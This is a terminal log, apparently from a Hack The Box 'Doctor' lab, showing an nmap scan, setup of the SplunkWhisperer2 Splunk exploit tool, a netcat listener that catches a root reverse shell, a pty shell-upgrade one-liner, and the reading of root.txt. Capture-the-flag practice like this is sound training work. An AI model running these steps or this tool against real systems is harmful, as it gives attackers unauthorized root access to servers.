root@JIYE:~/htb/doctor# nmap -sC -sV -sT 10.10.10.209 -oN nmap.CVT Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-18 03:21 EDT Nmap scan report for 10.10.10.209 Host is up (0.35s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.68 seconds root@JIYE:~/htb/doctor#
web@doctor:~$ cd /home/ web@doctor:/home$ ls shaun web web@doctor:/home$ cd shaun/ web@doctor:/home/shaun$ ls user.txt web@doctor:/home/shaun$ cat user.txt cat: user.txt: Permission denied web@doctor:/home/shaun$
root@JIYE:~/htb/doctor# ls nmap.CVT SplunkWhisperer2 user
root@JIYE:~/htb/doctor# cd SplunkWhisperer2/
root@JIYE:~/htb/doctor/SplunkWhisperer2# ls LICENSE PySplunkWhisperer2 README.md SharpSplunkWhisperer2
root@JIYE:~/htb/doctor/SplunkWhisperer2# cd PySplunkWhisperer2/
root@JIYE:~/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2# ls build_exe.bat PySplunkWhisperer2_local.py PySplunkWhisperer2_remote.py README.md requirements.txt
root@JIYE:~/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2# proxychains pip2 install -r requirements.txt ProxyChains-3.1 (http://proxychains.sf.net) |DNS-request| ::1 |S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK |DNS-response|: ::1 does not exist DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 1)) (2.22.0) |DNS-request| pypi.org |S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK |DNS-response| pypi.org is 151.101.64.223 |S-chain|-<>-127.0.0.1:1080-<><>-151.101.64.223:443-<><>-OK WARNING: You are using pip version 20.2.2; however, version 20.2.4 is available. You should consider upgrading via the '/usr/bin/python2 -m pip install --upgrade pip' command. root@JIYE:~/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2# ls build_exe.bat PySplunkWhisperer2_local.py PySplunkWhisperer2_remote.py README.md requirements.txt
root@JIYE:~# nc -nvlp 8888 listening on [any] 8888 ... connect to [10.10.17.216] from (UNKNOWN) [10.10.10.209] 49402 whoami root
pwd /
python3 -c 'import pty;pty.spawn("/bin/bash")' root@doctor:/# cd cd bash: cd: HOME not set root@doctor:/# ls ls bin dev lib libx32 mnt root snap sys var boot etc lib32 lost+found opt run srv tmp cdrom home lib64 media proc sbin swapfile usr root@doctor:/# ^Z [1]+ 已停止 nc -nvlp 8888 root@JIYE:~# stty raw -echo root@JIYE:~# nc -nvlp 8888
root@doctor:/# root@doctor:/# root@doctor:/# cd /root/ root@doctor:/root# ls root.txt root@doctor:/root# cat root.txt *********************************** root@doctor:/root#